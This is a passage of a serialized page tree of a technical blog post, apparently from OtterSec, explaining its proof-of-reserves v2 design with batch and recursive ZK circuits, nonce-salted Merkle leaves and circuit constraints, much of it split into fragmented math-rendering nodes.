balances of each asset. (e.g., ",{"type":23,"tag":38,"props":91246,"children":91248},{"className":91247},[],[91249],{"type":29,"value":91250},"BTC final: user1_btc + user2_btc ...",{"type":29,"value":91252},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":23,"tag":8287,"props":91254,"children":91256},{"id":91255},"what-are-the-ottersec-porv2-key-points",[91257],{"type":29,"value":91258},"What are the OtterSec PoRv2 key points?",{"type":23,"tag":116,"props":91260,"children":91261},{},[91262,91272,91290,91300,91331],{"type":23,"tag":120,"props":91263,"children":91264},{},[91265,91270],{"type":23,"tag":3998,"props":91266,"children":91267},{},[91268],{"type":29,"value":91269},"Transparency",{"type":29,"value":91271},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":23,"tag":120,"props":91273,"children":91274},{},[91275,91280,91282,91289],{"type":23,"tag":3998,"props":91276,"children":91277},{},[91278],{"type":29,"value":91279},"Time-efficiency",{"type":29,"value":91281},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":23,"tag":55,"props":91283,"children":91286},{"href":91284,"rel":91285},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[59],[91287],{"type":29,"value":91288},"Check our benchmark",{"type":29,"value":322},{"type":23,"tag":120,"props":91291,"children":91292},{},[91293,91298],{"type":23,"tag":3998,"props":91294,"children":91295},{},[91296],{"type":29,"value":91297},"Memory-efficiency",{"type":29,"value":91299},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":23,"tag":120,"props":91301,"children":91302},{},[91303,91308,91310,91315,91317,91322,91324,91329],{"type":23,"tag":3998,"props":91304,"children":91305},{},[91306],{"type":29,"value":91307},"Small-proofs",{"type":29,"value":91309},": We were able to reduce the final proof to less than ",{"type":23,"tag":3998,"props":91311,"children":91312},{},[91313],{"type":29,"value":91314},"500KB",{"type":29,"value":91316}," and each inclusion proof to ",{"type":23,"tag":3998,"props":91318,"children":91319},{},[91320],{"type":29,"value":91321},"~52KB",{"type":29,"value":91323},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":23,"tag":3998,"props":91325,"children":91326},{},[91327],{"type":29,"value":91328},"200MB",{"type":29,"value":91330}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":23,"tag":120,"props":91332,"children":91333},{},[91334,91339],{"type":23,"tag":3998,"props":91335,"children":91336},{},[91337],{"type":29,"value":91338},"Privacy",{"type":29,"value":91340},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":23,"tag":24,"props":91342,"children":91344},{"id":91343},"zk-circuits",[91345],{"type":29,"value":91346},"ZK Circuits",{"type":23,"tag":32,"props":91348,"children":91349},{},[91350],{"type":29,"value":91351},"We use two different ZK circuits to generate the final proof:",{"type":23,"tag":116,"props":91353,"children":91354},{},[91355,91360],{"type":23,"tag":120,"props":91356,"children":91357},{},[91358],{"type":29,"value":91359},"Batch circuit",{"type":23,"tag":120,"props":91361,"children":91362},{},[91363],{"type":29,"value":91364},"Recursive circuit",{"type":23,"tag":32,"props":91366,"children":91367},{},[91368],{"type":29,"value":91369},"With those two circuits, we can generate the proofs recursive tree:",{"type":23,"tag":32,"props":91371,"children":91372},{},[91373],{"type":23,"tag":2591,"props":91374,"children":91376},{"alt":49057,"src":91375},"/posts/por/batch-circuit.png",[],{"type":23,"tag":355,"props":91378,"children":91379},{},[91380],{"type":23,"tag":32,"props":91381,"children":91382},{},[91383,91385,91391,91393,91399],{"type":29,"value":91384},"Note: We are using 512 as ",{"type":23,"tag":38,"props":91386,"children":91388},{"className":91387},[],[91389],{"type":29,"value":91390},"BATCH_SIZE",{"type":29,"value":91392}," and 8 as ",{"type":23,"tag":38,"props":91394,"children":91396},{"className":91395},[],[91397],{"type":29,"value":91398},"RECURSIVE_SIZE",{"type":29,"value":91400}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":23,"tag":355,"props":91402,"children":91403},{},[91404],{"type":23,"tag":32,"props":91405,"children":91406},{},[91407],{"type":29,"value":91408},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":23,"tag":32,"props":91410,"children":91411},{},[91412],{"type":29,"value":91413},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":23,"tag":8287,"props":91415,"children":91417},{"id":91416},"leaf-nodes",[91418],{"type":29,"value":91419},"Leaf Nodes",{"type":23,"tag":32,"props":91421,"children":91422},{},[91423],{"type":29,"value":91424},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":23,"tag":32,"props":91426,"children":91427},{},[91428],{"type":23,"tag":38,"props":91429,"children":91431},{"className":91430},[2658,2659],[91432],{"type":23,"tag":141,"props":91433,"children":91435},{"className":91434},[2664],[91436],{"type":23,"tag":141,"props":91437,"children":91439},{"className":91438,"ariaHidden":2670},[2669],[91440,91467],{"type":23,"tag":141,"props":91441,"children":91443},{"className":91442},[2675],[91444,91449,91454,91458,91463],{"type":23,"tag":141,"props":91445,"children":91448},{"className":91446,"style":91447},[2680],"height:0.6944em;",[],{"type":23,"tag":141,"props":91450,"children":91452},{"className":91451},[2686,20260],[91453],{"type":29,"value":82830},{"type":23,"tag":141,"props":91455,"children":91457},{"className":91456,"style":2863},[2766],[],{"type":23,"tag":141,"props":91459,"children":91461},{"className":91460},[2868],[91462],{"type":29,"value":1377},{"type":23,"tag":141,"props":91464,"children":91466},{"className":91465,"style":2863},[2766],[],{"type":23,"tag":141,"props":91468,"children":91470},{"className":91469},[2675],[91471,91476,91481,91487,91492,91497,91503,91508,91513,91518,91524,91529,91535,91541,91548,91554,91560,91620,91625,91631,91636,91641,91646,91651,91656,91661,91666,91671,91676,91733,91738,91743,91748,91753,91758,91763,91770,91775,91781,91786,91792,91798,91803,91808,91813,91818,91823,91828,91833,91838,91843,91848,91853,91858,91863,91868],{"type":23,"tag":141,"props":91472,"children":91475},{"className":91473,"style":91474},[2680],"height:1.06em;vertical-align:-0.31em;",[],{"type":23,"tag":141,"props":91477,"children":91479},{"className":91478,"style":20261},[2686,20260],[91480],{"type":29,"value":20264},{"type":23,"tag":141,"props":91482,"children":91484},{"className":91483},[2686,20260],[91485],{"type":29,"value":91486},"ose",{"type":23,"tag":141,"props":91488,"children":91490},{"className":91489},[2686,20260],[91491],{"type":29,"value":2404},{"type":23,"tag":141,"props":91493,"children":91495},{"className":91494},[2686,20260],[91496],{"type":29,"value":69047},{"type":23,"tag":141,"props":91498,"children":91500},{"className":91499},[2686,20260],[91501],{"type":29,"value":91502},"o",{"type":23,"tag":141,"props":91504,"children":91506},{"className":91505},[2686,20260],[91507],{"type":29,"value":54883},{"type":23,"tag":141,"props":91509,"children":91511},{"className":91510},[20389],[91512],{"type":29,"value":192},{"type":23,"tag":141,"props":91514,"children":91516},{"className":91515},[2686,20260],[91517],{"type":29,"value":55},{"type":23,"tag":141,"props":91519,"children":91521},{"className":91520},[2686,20260],[91522],{"type":29,"value":91523},"sse",{"type":23,"tag":141,"props":91525,"children":91527},{"className":91526},[2686,20260],[91528],{"type":29,"value":20402},{"type":23,"tag":141,"props":91530,"children":91533},{"className":91531,"style":91532},[2686],"margin-right:0.02778em;",[91534],{"type":29,"value":1743},{"type":23,"tag":141,"props":91536,"children":91538},{"className":91537},[2686,20260],[91539],{"type":29,"value":91540},"ba",{"type":23,"tag":141,"props":91542,"children":91545},{"className":91543,"style":91544},[2686,20260],"margin-right:0.01968em;",[91546],{"type":29,"value":91547},"l",{"type":23,"tag":141,"props":91549,"children":91551},{"className":91550},[2686,20260],[91552],{"type":29,"value":91553},"an",{"type":23,"tag":141,"props":91555,"children":91557},{"className":91556},[2686,20260],[91558],{"type":29,"value":91559},"ce",{"type":23,"tag":141,"props":91561,"children":91563},{"className":91562},[2686],[91564,91569],{"type":23,"tag":141,"props":91565,"children":91567},{"className":91566},[2686,20260],[91568],{"type":29,"value":9332},{"type":23,"tag":141,"props":91570,"children":91572},{"className":91571},[2702],[91573],{"type":23,"tag":141,"props":91574,"children":91576},{"className":91575},[2707,20314],[91577,91608],{"type":23,"tag":141,"props":91578,"children":91580},{"className":91579},[2712],[91581,91603],{"type":23,"tag":141,"props":91582,"children":91585},{"className":91583,"style":91584},[2717],"height:0.3011em;",[91586],{"type":23,"tag":141,"props":91587,"children":91589},{"style":91588},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[91590,91594],{"type":23,"tag":141,"props":91591,"children":91593},{"className":91592,"style":2727},[2726],[],{"type":23,"tag":141,"props":91595,"children":91597},{"className":91596},[2732,2733,2734,2735],[91598],{"type":23,"tag":141,"props":91599,"children":91601},{"className":91600},[2686,2735],[91602],{"type":29,"value":2698},{"type":23,"tag":141,"props":91604,"children":91606},{"className":91605},[20417],[91607],{"type":29,"value":20420},{"type":23,"tag":141,"props":91609,"children":91611},{"className":91610},[2712],[91612],{"type":23,"tag":141,"props":91613,"children":91616},{"className":91614,"style":91615},[2717],"height:0.15em;",[91617],{"type":23,"tag":141,"props":91618,"children":91619},{},[],{"type":23,"tag":141,"props":91621,"children":91623},{"className":91622},[2766],[91624],{"type":29,"value":20361},{"type":23,"tag":141,"props":91626,"children":91628},{"className":91627},[2686],[91629],{"type":29,"value":91630},"∣∣",{"type":23,"tag":141,"props":91632,"children":91634},{"className":91633},[2766],[91635],{"type":29,"value":20361},{"type":23,"tag":141,"props":91637,"children":91639},{"className":91638},[2686,20260],[91640],{"type":29,"value":55},{"type":23,"tag":141,"props":91642,"children":91644},{"className":91643},[2686,20260],[91645],{"type":29,"value":91523},{"type":23,"tag":141,"props":91647,"children":91649},{"className":91648},[2686,20260],[91650],{"type":29,"value":20402},{"type":23,"tag":141,"props":91652,"children":91654},{"className":91653,"style":91532},[2686],[91655],{"type":29,"value":1743},{"type":23,"tag":141,"props":91657,"children":91659},{"className":91658},[2686,20260],[91660],{"type":29,"value":91540},{"type":23,"tag":141,"props":91662,"children":91664},{"className":91663,"style":91544},[2686,20260],[91665],{"type":29,"value":91547},{"type":23,"tag":141,"props":91667,"children":91669},{"className":91668},[2686,20260],[91670],{"type":29,"value":91553},{"type":23,"tag":141,"props":91672,"children":91674},{"className":91673},[2686,20260],[91675],{"type":29,"value":91559},{"type":23,"tag":141,"props":91677,"children":91679},{"className":91678},[2686],[91680,91685],{"type":23,"tag":141,"props":91681,"children":91683},{"className":91682},[2686,20260],[91684],{"type":29,"value":9332},{"type":23,"tag":141,"props":91686,"children":91688},{"className":91687},[2702],[91689],{"type":23,"tag":141,"props":91690,"children":91692},{"className":91691},[2707,20314],[91693,91722],{"type":23,"tag":141,"props":91694,"children":91696},{"className":91695},[2712],[91697,91717],{"type":23,"tag":141,"props":91698,"children":91700},{"className":91699,"style":91584},[2717],[91701],{"type":23,"tag":141,"props":91702,"children":91703},{"style":91588},[91704,91708],{"type":23,"tag":141,"props":91705,"children":91707},{"className":91706,"style":2727},[2726],[],{"type":23,"tag":141,"props":91709,"children":91711},{"className":91710},[2732,2733,2734,2735],[91712],{"type":23,"tag":141,"props":91713,"children":91715},{"className":91714},[2686,2735],[91716],{"type":29,"value":687},{"type":23,"tag":141,"props":91718,"children":91720},{"className":91719},[20417],[91721],{"type":29,"value":20420},{"type":23,"tag":141,"props":91723,"children":91725},{"className":91724},[2712],[91726],{"type":23,"tag":141,"props":91727,"children":91729},{"className":91728,"style":91615},[2717],[91730],{"type":23,"tag":141,"props":91731,"children":91732},{},[],{"type":23,"tag":141,"props":91734,"children":91736},{"className":91735},[2766],[91737],{"type":29,"value":20361},{"type":23,"tag":141,"props":91739,"children":91741},{"className":91740},[2686],[91742],{"type":29,"value":8269},{"type":23,"tag":141,"props":91744,"children":91746},{"className":91745},[2766],[91747],{"type":29,"value":20361},{"type":23,"tag":141,"props":91749,"children":91751},{"className":91750},[2686],[91752],{"type":29,"value":91630},{"type":23,"tag":141,"props":91754,"children":91756},{"className":91755},[2766],[91757],{"type":29,"value":20361},{"type":23,"tag":141,"props":91759,"children":91761},{"className":91760,"style":20719},[2686,20260],[91762],{"type":29,"value":20722},{"type":23,"tag":141,"props":91764,"children":91767},{"className":91765,"style":91766},[2686,20260],"margin-right:0.08125em;",[91768],{"type":29,"value":91769},"H",{"type":23,"tag":141,"props":91771,"children":91773},{"className":91772},[2686,20260],[91774],{"type":29,"value":75252},{"type":23,"tag":141,"props":91776,"children":91778},{"className":91777},[2686],[91779],{"type":29,"value":91780},"256",{"type":23,"tag":141,"props":91782,"children":91784},{"className":91783},[20389],[91785],{"type":29,"value":192},{"type":23,"tag":141,"props":91787,"children":91789},{"className":91788},[2686,20260],[91790],{"type":29,"value":91791},"u",{"type":23,"tag":141,"props":91793,"children":91795},{"className":91794,"style":91532},[2686,20260],[91796],{"type":29,"value":91797},"ser",{"type":23,"tag":141,"props":91799,"children":91801},{"className":91800,"style":91532},[2686],[91802],{"type":29,"value":1743},{"type":23,"tag":141,"props":91804,"children":91806},{"className":91805},[2686,20260],[91807],{"type":29,"value":2404},{"type":23,"tag":141,"props":91809,"children":91811},{"className":91810},[2686,20260],[91812],{"type":29,"value":69047},{"type":23,"tag":141,"props":91814,"children":91816},{"className":91815},[20411],[91817],{"type":29,"value":1788},{"type":23,"tag":141,"props":91819,"children":91821},{"className":91820},[2766],[91822],{"type":29,"value":20361},{"type":23,"tag":141,"props":91824,"children":91826},{"className":91825},[2686],[91827],{"type":29,"value":91630},{"type":23,"tag":141,"props":91829,"children":91831},{"className":91830},[2766],[91832],{"type":29,"value":20361},{"type":23,"tag":141,"props":91834,"children":91836},{"className":91835},[2686,20260],[91837],{"type":29,"value":91791},{"type":23,"tag":141,"props":91839,"children":91841},{"className":91840,"style":91532},[2686,20260],[91842],{"type":29,"value":91797},{"type":23,"tag":141,"props":91844,"children":91846},{"className":91845,"style":91532},[2686],[91847],{"type":29,"value":1743},{"type":23,"tag":141,"props":91849,"children":91851},{"className":91850},[2686,20260],[91852],{"type":29,"value":54883},{"type":23,"tag":141,"props":91854,"children":91856},{"className":91855},[2686,20260],[91857],{"type":29,"value":91502},{"type":23,"tag":141,"props":91859,"children":91861},{"className":91860},[2686,20260],[91862],{"type":29,"value":54883},{"type":23,"tag":141,"props":91864,"children":91866},{"className":91865},[2686,20260],[91867],{"type":29,"value":91559},{"type":23,"tag":141,"props":91869,"children":91871},{"className":91870},[20411],[91872],{"type":29,"value":1788},{"type":23,"tag":32,"props":91874,"children":91875},{},[91876,91878,91884],{"type":29,"value":91877},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":23,"tag":38,"props":91879,"children":91881},{"className":91880},[],[91882],{"type":29,"value":91883},"uuid",{"type":29,"value":91885},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":23,"tag":8287,"props":91887,"children":91889},{"id":91888},"batch-circuit",[91890],{"type":29,"value":91891},"Batch Circuit",{"type":23,"tag":32,"props":91893,"children":91894},{},[91895],{"type":29,"value":91896},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":23,"tag":32,"props":91898,"children":91899},{},[91900],{"type":23,"tag":3998,"props":91901,"children":91902},{},[91903],{"type":29,"value":91904},"Public Inputs",{"type":23,"tag":15362,"props":91906,"children":91907},{},[91908,91913,91918],{"type":23,"tag":120,"props":91909,"children":91910},{},[91911],{"type":29,"value":91912},"Asset prices in USD",{"type":23,"tag":120,"props":91914,"children":91915},{},[91916],{"type":29,"value":91917},"Merkle tree hash",{"type":23,"tag":120,"props":91919,"children":91920},{},[91921],{"type":29,"value":91922},"Summed asset balances",{"type":23,"tag":32,"props":91924,"children":91925},{},[91926],{"type":23,"tag":3998,"props":91927,"children":91928},{},[91929],{"type":29,"value":91930},"Private Inputs",{"type":23,"tag":15362,"props":91932,"children":91933},{},[91934,91939],{"type":23,"tag":120,"props":91935,"children":91936},{},[91937],{"type":29,"value":91938},"Users balances",{"type":23,"tag":120,"props":91940,"children":91941},{},[91942],{"type":29,"value":91943},"Merkle tree leaves hashes",{"type":23,"tag":32,"props":91945,"children":91946},{},[91947],{"type":23,"tag":3998,"props":91948,"children":91949},{},[91950],{"type":29,"value":91951},"Constraints",{"type":23,"tag":15362,"props":91953,"children":91954},{},[91955,92408,92576,92923,93321],{"type":23,"tag":120,"props":91956,"children":91957},{},[91958],{"type":23,"tag":38,"props":91959,"children":91961},{"className":91960},[2658,2659],[91962],{"type":23,"tag":141,"props":91963,"children":91965},{"className":91964},[2664],[91966],{"type":23,"tag":141,"props":91967,"children":91969},{"className":91968,"ariaHidden":2670},[2669],[91970,92109,92313],{"type":23,"tag":141,"props":91971,"children":91973},{"className":91972},[2675],[91974,91979,91984,91990,91995,92000,92005,92010,92015,92022,92027,92032,92037,92096,92100,92105],{"type":23,"tag":141,"props":91975,"children":91978},{"className":91976,"style":91977},[2680],"height:0.9695em;vertical-align:-0.31em;",[],{"type":23,"tag":141,"props":91980,"children":91982},{"className":91981},[2686,20260],[91983],{"type":29,"value":55},{"type":23,"tag":141,"props":91985,"children":91987},{"className":91986},[2686,20260],[91988],{"type":29,"value":91989},"cco",{"type":23,"tag":141,"props":91991,"children":91993},{"className":91992},[2686,20260],[91994],{"type":29,"value":91791},{"type":23,"tag":141,"props":91996,"children":91998},{"className":91997},[2686,20260],[91999],{"type":29,"value":54883},{"type":23,"tag":141,"props":92001,"children":92003},{"className":92002},[2686,20260],[92004],{"type":29,"value":20402},{"type":23,"tag":141,"props":92006,"children":92008},{"className":92007,"style":91532},[2686],[92009],{"type":29,"value":1743},{"type":23,"tag":141,"props":92011,"children":92013},{"className":92012},[2686,20260],[92014],{"type":29,"value":49933},{"type":23,"tag":141,"props":92016,"children":92019},{"className":92017,"style":92018},[2686,20260],"margin-right:0.03588em;",[92020],{"type":29,"value":92021},"q",{"type":23,"tag":141,"props":92023,"children":92025},{"className":92024},[2686,20260],[92026],{"type":29,"value":91791},{"type":23,"tag":141,"props":92028,"children":92030},{"className":92029},[2686,20260],[92031],{"type":29,"value":2404},{"type":23,"tag":141,"props":92033,"children":92035},{"className":92034},[2686,20260],[92036],{"type":29,"value":20402},{"type":23,"tag":141,"props":92038,"children":92040},{"className":92039},[2686],[92041,92046],{"type":23,"tag":141,"props":92042,"children":92044},{"className":92043,"style":92018},[2686,20260],[92045],{"type":29,"value":1775},{"type":23,"tag":141,"props":92047,"children":92049},{"className":92048},[2702],[92050],{"type":23,"tag":141,"props":92051,"children":92053},{"className":92052},[2707,20314],[92054,92085],{"type":23,"tag":141,"props":92055,"children":92057},{"className":92056},[2712],[92058,92080],{"type":23,"tag":141,"props":92059,"children":92062},{"className":92060,"style":92061},[2717],"height:0.3117em;",[92063],{"type":23,"tag":141,"props":92064,"children":92066},{"style":92065},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[92067,92071],{"type":23,"tag":141,"props":92068,"children":92070},{"className":92069,"style":2727},[2726],[],{"type":23,"tag":141,"props":92072,"children":92074},{"className":92073},[2732,2733,2734,2735],[92075],{"type":23,"tag":141,"props":92076,"children":92078},{"className":92077},[2686,20260,2735],[92079],{"type":29,"value":2404},{"type":23,"tag":141,"props":92081,"children":92083},{"className":92082},[20417],[92084],{"type":29,"value":20420},{"type":23,"tag":141,"props":92086,"children":92088},{"className":92087},[2712],[92089],{"type":23,"tag":141,"props":92090,"children":92092},{"className":92091,"style":91615},[2717],[92093],{"type":23,"tag":141,"props":92094,"children":92095},{},[],{"type":23,"tag":141,"props":92097,"children":92099},{"className":92098,"style":2863},[2766],[],{"type":23,"tag":141,"props":92101,"children":92103},{"className":92102},[2868],[92104],{"type":29,"value":7251},{"type":23,"tag":141,"props":92106,"children":92108},{"className":92107,"style":2863},[2766],[],{"type":23,"tag":141,"props":92110,"children":92112},{"className":92111},[2675],[92113,92117,92123,92128,92133,92138,92143,92148,92153,92158,92163,92168,92173,92178,92183,92188,92193,92198,92255,92260,92265,92270,92275,92280,92285,92290,92295,92300,92304,92309],{"type":23,"tag":141,"props":92114,"children":92116},{"className":92115,"style":91474},[2680],[],{"type":23,"tag":141,"props":92118,"children":92120},{"className":92119},[2686],[92121],{"type":29,"value":92122},"Σ",{"type":23,"tag":141,"props":92124,"children":92126},{"className":92125},[2766],[92127],{"type":29,"value":20361},{"type":23,"tag":141,"props":92129,"children":92131},{"className":92130},[2686,20260],[92132],{"type":29,"value":55},{"type":23,"tag":141,"props":92134,"children":92136},{"className":92135},[2686,20260],[92137],{"type":29,"value":91989},{"type":23,"tag":141,"props":92139,"children":92141},{"className":92140},[2686,20260],[92142],{"type":29,"value":91791},{"type":23,"tag":141,"props":92144,"children":92146},{"className":92145},[2686,20260],[92147],{"type":29,"value":54883},{"type":23,"tag":141,"props":92149,"children":92151},{"className":92150},[2686,20260],[92152],{"type":29,"value":20402},{"type":23,"tag":141,"props":92154,"children":92156},{"className":92155,"style":91532},[2686],[92157],{"type":29,"value":1743},{"type":23,"tag":141,"props":92159,"children":92161},{"className":92160},[2686,20260],[92162],{"type":29,"value":55},{"type":23,"tag":141,"props":92164,"children":92166},{"className":92165},[2686,20260],[92167],{"type":29,"value":91523},{"type":23,"tag":141,"props":92169,"children":92171},{"className":92170},[2686,20260],[92172],{"type":29,"value":20402},{"type":23,"tag":141,"props":92174,"children":92176},{"className":92175,"style":91532},[2686],[92177],{"type":29,"value":1743},{"type":23,"tag":141,"props":92179,"children":92181},{"className":92180},[2686,20260],[92182],{"type":29,"value":91540},{"type":23,"tag":141,"props":92184,"children":92186},{"className":92185,"style":91544},[2686,20260],[92187],{"type":29,"value":91547},{"type":23,"tag":141,"props":92189,"children":92191},{"className":92190},[2686,20260],[92192],{"type":29,"value":91553},{"type":23,"tag":141,"props":92194,"children":92196},{"className":92195},[2686,20260],[92197],{"type":29,"value":91559},{"type":23,"tag":141,"props":92199,"children":92201},{"className":92200},[2686],[92202,92207],{"type":23,"tag":141,"props":92203,"children":92205},{"className":92204},[2686,20260],[92206],{"type":29,"value":9332},{"type":23,"tag":141,"props":92208,"children":92210},{"className":92209},[2702],[92211],{"type":23,"tag":141,"props":92212,"children":92214},{"className":92213},[2707,20314],[92215,92244],{"type":23,"tag":141,"props":92216,"children":92218},{"className":92217},[2712],[92219,92239],{"type":23,"tag":141,"props":92220,"children":92222},{"className":92221,"style":92061},[2717],[92223],{"type":23,"tag":141,"props":92224,"children":92225},{"style":91588},[92226,92230],{"type":23,"tag":141,"props":92227,"children":92229},{"className":92228,"style":2727},[2726],[],{"type":23,"tag":141,"props":92231,"children":92233},{"className":92232},[2732,2733,2734,2735],[92234],{"type":23,"tag":141,"props":92235,"children":92237},{"className":92236},[2686,20260,2735],[92238],{"type":29,"value":2404},{"type":23,"tag":141,"props":92240,"children":92242},{"className":92241},[20417],[92243],{"type":29,"value":20420},{"type":23,"tag":141,"props":92245,"children":92247},{"className":92246},[2712],[92248],{"type":23,"tag":141,"props":92249,"children":92251},{"className":92250,"style":91615},[2717],[92252],{"type":23,"tag":141,"props":92253,"children":92254},{},[],{"type":23,"tag":141,"props":92256,"children":92258},{"className":92257},[20389],[92259],{"type":29,"value":2399},{"type":23,"tag":141,"props":92261,"children":92263},{"className":92262},[2686,20260],[92264],{"type":29,"value":55},{"type":23,"tag":141,"props":92266,"children":92268},{"className":92267},[2686,20260],[92269],{"type":29,"value":91523},{"type":23,"tag":141,"props":92271,"children":92273},{"className":92272},[2686,20260],[92274],{"type":29,"value":20402},{"type":23,"tag":141,"props":92276,"children":92278},{"className":92277,"style":91532},[2686],[92279],{"type":29,"value":1743},{"type":23,"tag":141,"props":92281,"children":92283},{"className":92282},[2686,20260],[92284],{"type":29,"value":54883},{"type":23,"tag":141,"props":92286,"children":92288},{"className":92287},[2686,20260],[92289],{"type":29,"value":91791},{"type":23,"tag":141,"props":92291,"children":92293},{"className":92292},[2686,20260],[92294],{"type":29,"value":49612},{"type":23,"tag":141,"props":92296,"children":92298},{"className":92297},[20411],[92299],{"type":29,"value":14088},{"type":23,"tag":141,"props":92301,"children":92303},{"className":92302,"style":2767},[2766],[],{"type":23,"tag":141,"props":92305,"children":92307},{"className":92306},[2772],[92308],{"type":29,"value":2775},{"type":23,"tag":141,"props":92310,"children":92312},{"className":92311,"style":2767},[2766],[],{"type":23,"tag":141,"props":92314,"children":92316},{"className":92315},[2675],[92317,92321,92326,92331,92336,92341,92346,92352,92357,92363,92368,92373,92378,92383,92388,92393,92398,92403],{"type":23,"tag":141,"props":92318,"children":92320},{"className":92319,"style":91474},[2680],[],{"type":23,"tag":141,"props":92322,"children":92324},{"className":92323},[2686,20260],[92325],{"type":29,"value":55},{"type":23,"tag":141,"props":92327,"children":92329},{"className":92328},[2686,20260],[92330],{"type":29,"value":91523},{"type":23,"tag":141,"props":92332,"children":92334},{"className":92333},[2686,20260],[92335],{"type":29,"value":20402},{"type":23,"tag":141,"props":92337,"children":92339},{"className":92338,"style":91532},[2686],[92340],{"type":29,"value":1743},{"type":23,"tag":141,"props":92342,"children":92344},{"className":92343},[2686,20260],[92345],{"type":29,"value":32},{"type":23,"tag":141,"props":92347,"children":92349},{"className":92348,"style":91532},[2686,20260],[92350],{"type":29,"value":92351},"r",{"type":23,"tag":141,"props":92353,"children":92355},{"className":92354},[2686,20260],[92356],{"type":29,"value":2404},{"type":23,"tag":141,"props":92358,"children":92360},{"className":92359},[2686,20260],[92361],{"type":29,"value":92362},"ces",{"type":23,"tag":141,"props":92364,"children":92366},{"className":92365},[20389],[92367],{"type":29,"value":2399},{"type":23,"tag":141,"props":92369,"children":92371},{"className":92370},[2686,20260],[92372],{"type":29,"value":55},{"type":23,"tag":141,"props":92374,"children":92376},{"className":92375},[2686,20260],[92377],{"type":29,"value":91523},{"type":23,"tag":141,"props":92379,"children":92381},{"className":92380},[2686,20260],[92382],{"type":29,"value":20402},{"type":23,"tag":141,"props":92384,"children":92386},{"className":92385,"style":91532},[2686],[92387],{"type":29,"value":1743},{"type":23,"tag":141,"props":92389,"children":92391},{"className":92390},[2686,20260],[92392],{"type":29,"value":54883},{"type":23,"tag":141,"props":92394,"children":92396},{"className":92395},[2686,20260],[92397],{"type":29,"value":91791},{"type":23,"tag":141,"props":92399,"children":92401},{"className":92400},[2686,20260],[92402],{"type":29,"value":49612},{"type":23,"tag":141,"props":92404,"children":92406},{"className":92405},[20411],[92407],{"type":29,"value":14088},{"type":23,"tag":120,"props":92409,"children":92410},{},[92411,92570,92571],{"type":23,"tag":38,"props":92412,"children":92414},{"className":92413},[2658,2659],[92415],{"type":23,"tag":141,"props":92416,"children":92418},{"className":92417},[2664],[92419],{"type":23,"tag":141,"props":92420,"children":92422},{"className":92421,"ariaHidden":2670},[2669],[92423,92556],{"type":23,"tag":141,"props":92424,"children":92426},{"className":92425},[2675],[92427,92431,92436,92441,92446,92451,92456,92461,92466,92471,92476,92481,92486,92543,92547,92552],{"type":23,"tag":141,"props":92428,"children":92430},{"className":92429,"style":91977},[2680],[],{"type":23,"tag":141,"props":92432,"children":92434},{"className":92433},[2686,20260],[92435],{"type":29,"value":55},{"type":23,"tag":141,"props":92437,"children":92439},{"className":92438},[2686,20260],[92440],{"type":29,"value":91989},{"type":23,"tag":141,"props":92442,"children":92444},{"className":92443},[2686,20260],[92445],{"type":29,"value":91791},{"type":23,"tag":141,"props":92447,"children":92449},{"className":92448},[2686,20260],[92450],{"type":29,"value":54883},{"type":23,"tag":141,"props":92452,"children":92454},{"className":92453},[2686,20260],[92455],{"type":29,"value":20402},{"type":23,"tag":141,"props":92457,"children":92459},{"className":92458,"style":91532},[2686],[92460],{"type":29,"value":1743},{"type":23,"tag":141,"props":92462,"children":92464},{"className":92463},[2686,20260],[92465],{"type":29,"value":49933},{"type":23,"tag":141,"props":92467,"children":92469},{"className":92468,"style":92018},[2686,20260],[92470],{"type":29,"value":92021},{"type":23,"tag":141,"props":92472,"children":92474},{"className":92473},[2686,20260],[92475],{"type":29,"value":91791},{"type":23,"tag":141,"props":92477,"children":92479},{"className":92478},[2686,20260],[92480],{"type":29,"value":2404},{"type":23,"tag":141,"props":92482,"children":92484},{"className":92483},[2686,20260],[92485],{"type":29,"value":20402},{"type":23,"tag":141,"props":92487,"children":92489},{"className":92488},[2686],[92490,92495],{"type":23,"tag":141,"props":92491,"children":92493},{"className":92492,"style":92018},[2686,20260],[92494],{"type":29,"value":1775},{"type":23,"tag":141,"props":92496,"children":92498},{"className":92497},[2702],[92499],{"type":23,"tag":141,"props":92500,"children":92502},{"className":92501},[2707,20314],[92503,92532],{"type":23,"tag":141,"props":92504,"children":92506},{"className":92505},[2712],[92507,92527],{"type":23,"tag":141,"props":92508,"children":92510},{"className":92509,"style":92061},[2717],[92511],{"type":23,"tag":141,"props":92512,"children":92513},{"style":92065},[92514,92518],{"type":23,"tag":141,"props":92515,"children":92517},{"className":92516,"style":2727},[2726],[],{"type":23,"tag":141,"props":92519,"children":92521},{"className":92520},[2732,2733,2734,2735],[92522],{"type":23,"tag":141,"props":92523,"children":92525},{"className":92524},[2686,20260,2735],[92526],{"type":29,"value":2404},{"type":23,"tag":141,"props":92528,"children":92530},{"className":92529},[20417],[92531],{"type":29,"value":20420},{"type":23,"tag":141,"props":92533,"children":92535},{"className":92534},[2712],[92536],{"type":23,"tag":141,"props":92537,"children":92539},{"className":92538,"style":91615},[2717],[92540